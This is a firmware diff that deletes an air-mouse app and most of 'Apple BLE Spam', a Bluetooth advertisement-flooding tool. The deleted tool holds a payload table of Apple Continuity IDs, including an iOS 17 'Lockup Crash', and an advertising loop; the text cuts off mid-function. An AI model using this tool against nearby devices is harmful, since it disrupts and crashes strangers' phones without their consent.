bt_mouse->wheel = MOUSE_SCROLL; - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypePress || event->type == InputTypeRepeat) { - bt_mouse->wheel = -MOUSE_SCROLL; - } - } - }, - true); -} - -static bool bt_mouse_input_callback(InputEvent* event, void* context) { - furi_assert(context); - BtMouse* bt_mouse = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - furi_hal_bt_hid_mouse_release_all(); - } else { - bt_mouse_process(bt_mouse, event); - consumed = true; - } - - return consumed; -} - -void bt_mouse_connection_status_changed_callback(BtStatus status, void* context) { - furi_assert(context); - BtMouse* bt_mouse = context; - - bt_mouse->connected = (status == BtStatusConnected); - if(!bt_mouse->notifications) { - tracking_end(); - return; - } - - if(bt_mouse->connected) { - notification_internal_message(bt_mouse->notifications, &sequence_set_blue_255); - tracking_begin(); - view_dispatcher_send_custom_event(bt_mouse->view_dispatcher, 0); - } else { - tracking_end(); - notification_internal_message(bt_mouse->notifications, &sequence_reset_blue); - } -} - -bool bt_mouse_move(int8_t dx, int8_t dy, void* context) { - furi_assert(context); - BtMouse* bt_mouse = context; - - if(bt_mouse->connected) { - furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever); - bt_mouse->dx += dx; - bt_mouse->dy += dy; - furi_mutex_release(bt_mouse->mutex); - bt_mouse_notify_event(bt_mouse); - } - - return true; -} - -static int8_t clamp(int t) { - if(t < -128) { - return -128; - } else if(t > 127) { - return 127; - } - return t; -} - -static int32_t bt_mouse_thread_callback(void* context) { - furi_assert(context); - BtMouse* bt_mouse = (BtMouse*)context; - - while(1) { - uint32_t flags = - furi_thread_flags_wait(BT_MOUSE_FLAG_ALL, FuriFlagWaitAny, FuriWaitForever); - if(flags & BT_MOUSE_FLAG_KILL_THREAD) { - break; - } - if(flags & BT_MOUSE_FLAG_INPUT_EVENT) { - furi_mutex_acquire(bt_mouse->mutex, FuriWaitForever); - - ButtonEvent event; - bool send_buttons = false; - if(bt_mouse->qhead != bt_mouse->qtail) { - event = bt_mouse->queue[bt_mouse->qhead++]; - bt_mouse->qhead %= BTN_EVT_QUEUE_SIZE; - send_buttons = true; - } - - int8_t dx = clamp(bt_mouse->dx); - bt_mouse->dx -= dx; - int8_t dy = clamp(bt_mouse->dy); - bt_mouse->dy -= dy; - int8_t wheel = clamp(bt_mouse->wheel); - bt_mouse->wheel -= wheel; - - furi_mutex_release(bt_mouse->mutex); - - if(bt_mouse->connected && send_buttons) { - if(event.state) { - furi_hal_bt_hid_mouse_press(event.button); - } else { - furi_hal_bt_hid_mouse_release(event.button); - } - } - - if(bt_mouse->connected && (dx != 0 || dy != 0)) { - furi_hal_bt_hid_mouse_move(dx, dy); - } - - if(bt_mouse->connected && wheel != 0) { - furi_hal_bt_hid_mouse_scroll(wheel); - } - } - } - - return 0; -} - -void bt_mouse_thread_start(BtMouse* bt_mouse) { - furi_assert(bt_mouse); - bt_mouse->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - bt_mouse->thread = furi_thread_alloc(); - furi_thread_set_name(bt_mouse->thread, "BtSender"); - furi_thread_set_stack_size(bt_mouse->thread, 1024); - furi_thread_set_context(bt_mouse->thread, bt_mouse); - furi_thread_set_callback(bt_mouse->thread, bt_mouse_thread_callback); - furi_thread_start(bt_mouse->thread); -} - -void bt_mouse_thread_stop(BtMouse* bt_mouse) { - furi_assert(bt_mouse); - FuriThreadId thread_id = furi_thread_get_id(bt_mouse->thread); - furi_assert(thread_id); - furi_thread_flags_set(thread_id, BT_MOUSE_FLAG_KILL_THREAD); - furi_thread_join(bt_mouse->thread); - furi_thread_free(bt_mouse->thread); - furi_mutex_free(bt_mouse->mutex); - bt_mouse->mutex = NULL; - bt_mouse->thread = NULL; -} - -void bt_mouse_enter_callback(void* context) { - furi_assert(context); - BtMouse* bt_mouse = context; - - bt_mouse->bt = furi_record_open(RECORD_BT); - bt_mouse->notifications = furi_record_open(RECORD_NOTIFICATION); - bt_set_status_changed_callback( - bt_mouse->bt, bt_mouse_connection_status_changed_callback, bt_mouse); - furi_assert(bt_set_profile(bt_mouse->bt, BtProfileHidKeyboard)); - furi_hal_bt_start_advertising(); - bt_mouse_thread_start(bt_mouse); -} - -bool bt_mouse_custom_callback(uint32_t event, void* context) { - UNUSED(event); - furi_assert(context); - BtMouse* bt_mouse = context; - - tracking_step(bt_mouse_move, context); - furi_delay_ms(3); // Magic! Removing this will break the buttons - - view_dispatcher_send_custom_event(bt_mouse->view_dispatcher, 0); - return true; -} - -void bt_mouse_exit_callback(void* context) { - furi_assert(context); - BtMouse* bt_mouse = context; - - bt_mouse_thread_stop(bt_mouse); - tracking_end(); - notification_internal_message(bt_mouse->notifications, &sequence_reset_blue); - - furi_hal_bt_stop_advertising(); - bt_set_profile(bt_mouse->bt, BtProfileSerial); - - furi_record_close(RECORD_NOTIFICATION); - bt_mouse->notifications = NULL; - furi_record_close(RECORD_BT); - bt_mouse->bt = NULL; -} - -BtMouse* bt_mouse_alloc(ViewDispatcher* view_dispatcher) { - BtMouse* bt_mouse = malloc(sizeof(BtMouse)); - memset(bt_mouse, 0, sizeof(BtMouse)); - - bt_mouse->view = view_alloc(); - bt_mouse->view_dispatcher = view_dispatcher; - view_set_context(bt_mouse->view, bt_mouse); - view_set_draw_callback(bt_mouse->view, bt_mouse_draw_callback); - view_set_input_callback(bt_mouse->view, bt_mouse_input_callback); - view_set_enter_callback(bt_mouse->view, bt_mouse_enter_callback); - view_set_custom_callback(bt_mouse->view, bt_mouse_custom_callback); - view_set_exit_callback(bt_mouse->view, bt_mouse_exit_callback); - return bt_mouse; -} - -void bt_mouse_free(BtMouse* bt_mouse) { - furi_assert(bt_mouse); - view_free(bt_mouse->view); - free(bt_mouse); -} - -View* bt_mouse_get_view(BtMouse* bt_mouse) { - furi_assert(bt_mouse); - return bt_mouse->view; -} diff --git a/applications/external/airmouse/views/bt_mouse.h b/applications/external/airmouse/views/bt_mouse.h deleted file mode 100644 index 09153d8fa..000000000 --- a/applications/external/airmouse/views/bt_mouse.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include - -typedef struct BtMouse BtMouse; - -BtMouse* bt_mouse_alloc(ViewDispatcher* view_dispatcher); - -void bt_mouse_free(BtMouse* bt_mouse); - -View* bt_mouse_get_view(BtMouse* bt_mouse); - -void bt_mouse_set_connected_status(BtMouse* bt_mouse, bool connected); diff --git a/applications/external/airmouse/views/calibration.c b/applications/external/airmouse/views/calibration.c deleted file mode 100644 index a92f68be4..000000000 --- a/applications/external/airmouse/views/calibration.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "calibration.h" -#include "../tracking/main_loop.h" -#include "../air_mouse.h" - -#include -#include - -struct Calibration { - View* view; - ViewDispatcher* view_dispatcher; -}; - -static void calibration_draw_callback(Canvas* canvas, void* context) { - UNUSED(context); - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, "Calibrating..."); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 63, "Please wait"); -} - -void calibration_enter_callback(void* context) { - furi_assert(context); - Calibration* calibration = context; - calibration_begin(); - view_dispatcher_send_custom_event(calibration->view_dispatcher, 0); -} - -bool calibration_custom_callback(uint32_t event, void* context) { - UNUSED(event); - furi_assert(context); - Calibration* calibration = context; - - if(calibration_step()) { - view_dispatcher_switch_to_view(calibration->view_dispatcher, AirMouseViewSubmenu); - } else { - view_dispatcher_send_custom_event(calibration->view_dispatcher, 0); - } - - return true; -} - -void calibration_exit_callback(void* context) { - furi_assert(context); - calibration_end(); -} - -Calibration* calibration_alloc(ViewDispatcher* view_dispatcher) { - Calibration* calibration = malloc(sizeof(Calibration)); - calibration->view = view_alloc(); - calibration->view_dispatcher = view_dispatcher; - view_set_context(calibration->view, calibration); - view_set_draw_callback(calibration->view, calibration_draw_callback); - view_set_enter_callback(calibration->view, calibration_enter_callback); - view_set_custom_callback(calibration->view, calibration_custom_callback); - view_set_exit_callback(calibration->view, calibration_exit_callback); - return calibration; -} - -void calibration_free(Calibration* calibration) { - furi_assert(calibration); - view_free(calibration->view); - free(calibration); -} - -View* calibration_get_view(Calibration* calibration) { - furi_assert(calibration); - return calibration->view; -} diff --git a/applications/external/airmouse/views/calibration.h b/applications/external/airmouse/views/calibration.h deleted file mode 100644 index da44ce0cd..000000000 --- a/applications/external/airmouse/views/calibration.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include - -typedef struct Calibration Calibration; - -Calibration* calibration_alloc(ViewDispatcher* view_dispatcher); - -void calibration_free(Calibration* calibration); - -View* calibration_get_view(Calibration* calibration); diff --git a/applications/external/airmouse/views/usb_mouse.c b/applications/external/airmouse/views/usb_mouse.c deleted file mode 100644 index 09075b566..000000000 --- a/applications/external/airmouse/views/usb_mouse.c +++ /dev/null @@ -1,139 +0,0 @@ -#include "usb_mouse.h" -#include "../tracking/main_loop.h" - -#include -#include -#include -#include - -struct UsbMouse { - View* view; - ViewDispatcher* view_dispatcher; - FuriHalUsbInterface* usb_mode_prev; -}; - -static void usb_mouse_draw_callback(Canvas* canvas, void* context) { - UNUSED(context); - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 0, 10, "USB Mouse mode"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 63, "Hold [back] to exit"); -} - -#define MOUSE_SCROLL 2 - -static void usb_mouse_process(UsbMouse* usb_mouse, InputEvent* event) { - with_view_model( - usb_mouse->view, - void* model, - { - UNUSED(model); - if(event->key == InputKeyUp) { - if(event->type == InputTypePress) { - furi_hal_hid_mouse_press(HID_MOUSE_BTN_LEFT); - } else if(event->type == InputTypeRelease) { - furi_hal_hid_mouse_release(HID_MOUSE_BTN_LEFT); - } - } else if(event->key == InputKeyDown) { - if(event->type == InputTypePress) { - furi_hal_hid_mouse_press(HID_MOUSE_BTN_RIGHT); - } else if(event->type == InputTypeRelease) { - furi_hal_hid_mouse_release(HID_MOUSE_BTN_RIGHT); - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypePress) { - furi_hal_hid_mouse_press(HID_MOUSE_BTN_WHEEL); - } else if(event->type == InputTypeRelease) { - furi_hal_hid_mouse_release(HID_MOUSE_BTN_WHEEL); - } - } else if(event->key == InputKeyRight) { - if(event->type == InputTypePress || event->type == InputTypeRepeat) { - furi_hal_hid_mouse_scroll(MOUSE_SCROLL); - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypePress || event->type == InputTypeRepeat) { - furi_hal_hid_mouse_scroll(-MOUSE_SCROLL); - } - } - }, - true); -} - -static bool usb_mouse_input_callback(InputEvent* event, void* context) { - furi_assert(context); - UsbMouse* usb_mouse = context; - bool consumed = false; - - if(event->type == InputTypeLong && event->key == InputKeyBack) { - // furi_hal_hid_mouse_release_all(); - } else { - usb_mouse_process(usb_mouse, event); - consumed = true; - } - - return consumed; -} - -void usb_mouse_enter_callback(void* context) { - furi_assert(context); - UsbMouse* usb_mouse = context; - - usb_mouse->usb_mode_prev = furi_hal_usb_get_config(); - furi_hal_usb_unlock(); - furi_check(furi_hal_usb_set_config(&usb_hid, NULL) == true); - - tracking_begin(); - - view_dispatcher_send_custom_event(usb_mouse->view_dispatcher, 0); -} - -bool usb_mouse_move(int8_t dx, int8_t dy, void* context) { - UNUSED(context); - return furi_hal_hid_mouse_move(dx, dy); -} - -bool usb_mouse_custom_callback(uint32_t event, void* context) { - UNUSED(event); - furi_assert(context); - UsbMouse* usb_mouse = context; - - tracking_step(usb_mouse_move, context); - furi_delay_ms(3); // Magic! Removing this will break the buttons - - view_dispatcher_send_custom_event(usb_mouse->view_dispatcher, 0); - return true; -} - -void usb_mouse_exit_callback(void* context) { - furi_assert(context); - UsbMouse* usb_mouse = context; - - tracking_end(); - - furi_hal_usb_set_config(usb_mouse->usb_mode_prev, NULL); -} - -UsbMouse* usb_mouse_alloc(ViewDispatcher* view_dispatcher) { - UsbMouse* usb_mouse = malloc(sizeof(UsbMouse)); - usb_mouse->view = view_alloc(); - usb_mouse->view_dispatcher = view_dispatcher; - view_set_context(usb_mouse->view, usb_mouse); - view_set_draw_callback(usb_mouse->view, usb_mouse_draw_callback); - view_set_input_callback(usb_mouse->view, usb_mouse_input_callback); - view_set_enter_callback(usb_mouse->view, usb_mouse_enter_callback); - view_set_custom_callback(usb_mouse->view, usb_mouse_custom_callback); - view_set_exit_callback(usb_mouse->view, usb_mouse_exit_callback); - return usb_mouse; -} - -void usb_mouse_free(UsbMouse* usb_mouse) { - furi_assert(usb_mouse); - view_free(usb_mouse->view); - free(usb_mouse); -} - -View* usb_mouse_get_view(UsbMouse* usb_mouse) { - furi_assert(usb_mouse); - return usb_mouse->view; -} diff --git a/applications/external/airmouse/views/usb_mouse.h b/applications/external/airmouse/views/usb_mouse.h deleted file mode 100644 index 5ce589a69..000000000 --- a/applications/external/airmouse/views/usb_mouse.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include - -typedef struct UsbMouse UsbMouse; - -UsbMouse* usb_mouse_alloc(ViewDispatcher* view_dispatcher); - -void usb_mouse_free(UsbMouse* usb_mouse); - -View* usb_mouse_get_view(UsbMouse* usb_mouse); diff --git a/applications/external/apple_ble_spam/apple_ble_spam.c b/applications/external/apple_ble_spam/apple_ble_spam.c deleted file mode 100644 index de6ee8b22..000000000 --- a/applications/external/apple_ble_spam/apple_ble_spam.c +++ /dev/null @@ -1,837 +0,0 @@ -#include -#include -#include -#include -#include -#include "apple_ble_spam_icons.h" - -#include "lib/continuity/continuity.h" - -typedef struct { - const char* title; - const char* text; - bool random; - ContinuityMsg msg; -} Payload; - -// Hacked together by @Willy-JL -// Custom adv logic by @Willy-JL (idea by @xMasterX) -// iOS 17 Crash by @ECTO-1A -// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A -// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/ -// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/ -// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam - -static Payload - payloads[] = - { -#if false - {.title = "AirDrop", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirDrop, - .data = {.airdrop = {}}, - }}, - {.title = "Airplay Target", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeAirplayTarget, - .data = {.airplay_target = {}}, - }}, - {.title = "Handoff", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeHandoff, - .data = {.handoff = {}}, - }}, - {.title = "Tethering Source", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeTetheringSource, - .data = {.tethering_source = {}}, - }}, - {.title = "Mobile Backup", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x04}}, - }}, - {.title = "Watch Setup", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x05}}, - }}, - {.title = "Internet Relay", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x07}}, - }}, - {.title = "WiFi Password", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x08}}, - }}, - {.title = "Repair", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}}, - }}, - {.title = "Apple Pay", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}}, - }}, - {.title = "Developer Tools Pairing Request", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}}, - }}, - {.title = "Answered Call", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}}, - }}, - {.title = "Ended Call", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x10}}, - }}, - {.title = "DD Ping", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x11}}, - }}, - {.title = "DD Pong", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x12}}, - }}, - {.title = "Companion Link Proximity", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x14}}, - }}, - {.title = "Remote Management", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x15}}, - }}, - {.title = "Remote Auto Fill Pong", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x16}}, - }}, - {.title = "Remote Display", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x17}}, - }}, - {.title = "Nearby Info", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyInfo, - .data = {.nearby_info = {}}, - }}, -#endif - {.title = "Lockup Crash", - .text = "iOS 17, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeCustomCrash, - .data = {.custom_crash = {}}, - }}, - {.title = "Random Action", - .text = "Spam shuffle Nearby Actions", - .random = true, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x00}}, - }}, - {.title = "Random Pair", - .text = "Spam shuffle Proximity Pairs", - .random = true, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}}, - }}, - {.title = "AppleTV AutoFill", - .text = "Banner, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x13}}, - }}, - {.title = "AppleTV Connecting...", - .text = "Modal, unlocked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x27}}, - }}, - {.title = "Join This AppleTV?", - .text = "Modal, unlocked, spammy", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xBF, .type = 0x20}}, - }}, - {.title = "AppleTV Audio Sync", - .text = "Banner, locked, long range", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x19}}, - }}, - {.title = "AppleTV Color Balance", - .text = "Banner, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}}, - }}, - {.title = "Setup New iPhone", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x09}}, - }}, - {.title = "Setup New Random", - .text = "Modal, locked, glitched", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0x40, .type = 0x09}}, - }}, - {.title = "Transfer Phone Number", - .text = "Modal, locked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x02}}, - }}, - {.title = "HomePod Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}}, - }}, - {.title = "AirPods Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}}, - }}, - {.title = "Beats Solo 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}}, - }}, - {.title = "AirPods Max", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}}, - }}, - {.title = "Beats Flex", - .text = "Modal, laggy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}}, - }}, - {.title = "Airtag", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}}, - }}, - {.title = "Hermes Airtag", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}}, - }}, - {.title = "Setup New AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x01}}, - }}, - {.title = "Pair AppleTV", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x06}}, - }}, - {.title = "HomeKit AppleTV Setup", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}}, - }}, - {.title = "AppleID for AppleTV?", - .text = "Modal, unlocked", - .random = false, - .msg = - { - .type = ContinuityTypeNearbyAction, - .data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}}, - }}, - {.title = "AirPods", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}}, - }}, - {.title = "AirPods 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}}, - }}, - {.title = "AirPods 3rd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}}, - }}, - {.title = "AirPods Pro 2nd Gen", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}}, - }}, - {.title = "Powerbeats 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}}, - }}, - {.title = "Powerbeats Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}}, - }}, - {.title = "Beats Solo Pro", - .text = "", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}}, - }}, - {.title = "Beats Studio Buds", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}}, - }}, - {.title = "Beats X", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}}, - }}, - {.title = "Beats Studio 3", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}}, - }}, - {.title = "Beats Studio Pro", - .text = "Modal, spammy (stays open)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}}, - }}, - {.title = "Beats Fit Pro", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}}, - }}, - {.title = "Beats Studio Buds+", - .text = "Modal, spammy (auto close)", - .random = false, - .msg = - { - .type = ContinuityTypeProximityPair, - .data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}}, - }}, -}; - -#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads)) - -struct { - uint8_t count; - ContinuityData** datas; -} randoms[ContinuityTypeCount] = {0}; - -uint16_t delays[] = { - 20, - 50, - 100, - 150, - 200, - 300, - 400, - 500, - 750, - 1000, - 1500, - 2000, - 2500, - 3000, - 4000, - 5000, -}; - -typedef struct { - bool resume; - bool advertising; - uint8_t delay; - uint8_t size; - uint8_t* packet; - Payload* payload; - FuriThread* thread; - uint8_t mac[GAP_MAC_ADDR_SIZE]; - int8_t index; -} State; - -static int32_t adv_thread(void* ctx) { - State* state = ctx; - Payload* payload = state->payload; - ContinuityMsg* msg = &payload->msg; - ContinuityType type = msg->type; - - while(state->advertising) { - if(payload->random) { - uint8_t random_i = rand() % randoms[type].count; - memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data)); - } - continuity_generate_packet(msg, state->packet); - furi_hal_bt_custom_adv_set(state->packet, state->size); - furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]); - } - - return 0; -} - -static void stop_adv(State* state) { - state->advertising = false; - furi_thread_flags_set(furi_thread_get_id(state->thread), true); - furi_thread_join(state->thread); - furi_hal_bt_custom_adv_stop(); -} - -static void start_adv(State* state) { - state->advertising = true; - furi_thread_start(state->thread); - uint16_t delay = delays[state->delay]; - furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F); -} - -static void toggle_adv(State* state, Payload* payload) { - if(state->advertising) { - stop_adv(state); - if(state->resume) furi_hal_bt_start_advertising(); - state->payload = NULL; - free(state->packet); - state->packet = NULL; - state->size = 0; - } else { - state->size = continuity_get_packet_size(payload->msg.type); - state->packet = malloc(state->size); - state->payload = payload; - furi_hal_random_fill_buf(state->mac, sizeof(state->mac)); - state->resume = furi_hal_bt_is_active(); - furi_hal_bt_stop_advertising(); - start_adv(state); - } -} - -#define PAGE_MIN (-5) -#define PAGE_MAX PAYLOAD_COUNT -enum { - PageApps = PAGE_MIN, - PageDelay, - PageDistance, - PageProximityPair, - PageNearbyAction, - PageStart = 0, - PageEnd = PAYLOAD_COUNT - 1, - PageAbout = PAGE_MAX, -}; - -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = ctx; - const char* back = "Back"; - const char* next = "Next"; - switch(state->index) { - case PageStart - 1: - next = "Spam"; - break; - case PageStart: - back = "Help"; - break; - case PageEnd: - next = "About"; - break; - case PageEnd + 1: - back = "Spam"; - break; - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 3, 4, &I_apple_10px); - canvas_draw_str(canvas, 14, 12, "Apple BLE Spam"); - - switch(state->index) { - case PageApps: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Some Apps\e# interfere\n" - "with the attacks, stay on\n" - "homescreen for best results", - false); - break; - case PageDelay: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Delay\e# is time between\n" - "attack attempts (top right),\n" - "keep 20ms for best results", - false); - break; - case PageDistance: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Distance\e# is limited, attacks\n" - "work under 1 meter but a\n" - "few are marked 'long range'", - false); - break; - case PageProximityPair: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Proximity Pair\e# attacks\n" - "keep spamming but work at\n" - "very close range", - false); - break; - case PageNearbyAction: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help"); - elements_text_box( - canvas, - 4, - 16, - 120, - 48, - AlignLeft, - AlignTop, - "\e#Nearby Actions\e# work one\n" - "time then need to lock and\n" - "unlock the phone", - false); - break; - case PageAbout: - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About"); - elements_text_box( - canvas, - 4, - 16, - 122, - 48, - AlignLeft, - AlignTop, - "App+Spam by \e#WillyJL\e# XFW\n" - "IDs and Crash by \e#ECTO-1A\e#\n" - "Continuity by \e#furiousMAC\e#\n" - " Version \e#1.2\e#", - false); - break; - default: { - if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break; - const Payload* payload = &payloads[state->index]; - char str[32]; - - canvas_set_font(canvas, FontBatteryPercent); - snprintf(str, sizeof(str), "%ims", delays[state->delay]); - canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str); - canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5); - canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5); - - canvas_set_font(canvas, FontBatteryPercent); - snprintf( - str, - sizeof(str), - "%02i/%02i: %s", - state->index + 